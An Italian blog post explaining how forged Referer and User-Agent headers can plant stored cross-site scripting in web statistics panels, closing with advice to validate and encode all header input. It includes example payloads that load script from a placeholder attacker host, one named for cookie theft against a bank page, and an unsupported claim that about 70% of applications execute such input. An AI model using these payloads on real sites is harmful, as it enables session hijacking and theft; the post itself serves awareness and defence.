Questione di Referer e User-Agent

Al momento di una richiesta HTTP (più nello specifico HTTP/1.1) il browser invia al Web server di destinazione varie informazioni tramite gli header tra cui “Referer” e “User-agent” che servono, rispettivamente, per dichiarare quale URI ha portato a quella specifica risorsa e per dichiarare il nome e la versione del browser Web utilizzato.
Questo genere di dettagli è ad esempio molto utilizzato per gestire campagne di marketing mirato al visitatore. Molti software per statistiche Web collezionano l’header “Referer” per stilare classifiche sui siti Web che “inviano” più visitatori.
Ecco una tipica richiesta HTTP/1.1:

GET http://www.ansa.it/ HTTP/1.1
Host:www.ansa.it
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Proxy-Connection:keep-alive
Referer:http://www.google.it/search?hl=it&q=ansa&btnG=Cerca+con+Google&meta=

Essendo header generati dal browser o più in generale dall’utente essi possono essere modificati a piacimento.
Se vi fosse un software di statistiche che colleziona “User-Agent” e “Referer” salvandoli in un database sarebbe semplice creare XSS (Cross-site scripting) permanenti. Solitamente le statistiche vengono consultate in aree ad accesso limitato, in una applicazione che non effettua i dovuti controlli e codifiche un Referer di questo tipo potrebbe risultare veramente pericoloso:

http://www.anybadsite.com/?”><script/src=”http://evilsite.com/xss.js”></script><style=”

In questo modo un attacker potrebbe eseguire qualsiasi istruzione JS all’interno dell’area riservata dove vengono consultate le statistiche senza che la vittima se ne accorga. Gli utilizzi più interessanti vanno dal furto del token di autenticazione contenuto nel cookie all’Intranet Hacking.
Oltre all’utilizzo di XSS diretti, l’header “Referer” potrebbe essere modificato ad arte per dirottare la vittima su un qualsiasi sito esterno, vulnerabile ad XSS:

http://www.victimbank.com/home.asp?fuzzy=mybankxyxyxyx&page=<script/src=http://evilsite.com/stealcookie.js></script>

Questi sono solo esempi basati sull’header “Referer” ma tutto è riproducibile su “User-Agent” e tutti quegli header che una applicazione Web utilizza ma non valida in maniera opportuna.

Ho effettuato dei test navigando con un “User-Agent” modificato ad arte e mi sono accorto come molte volte il codice JS iniettato dentro ad esso venga eseguito. Ciò vuol dire che circa il 70% delle applicazioni che ne fanno uso prendono per buono direttamente l’user-input.

I webmaster e i webdeveloper dovrebbero prendere coscienza che tutto l’user-input come cookie, user-agent, referer, Accept-Charset, Accept-Language, ecc.. dovrebbe essere sempre validato e codificato nel migliore dei modi.

 

Nessun Commento.. Puoi essere il primo!

Lascia un Commento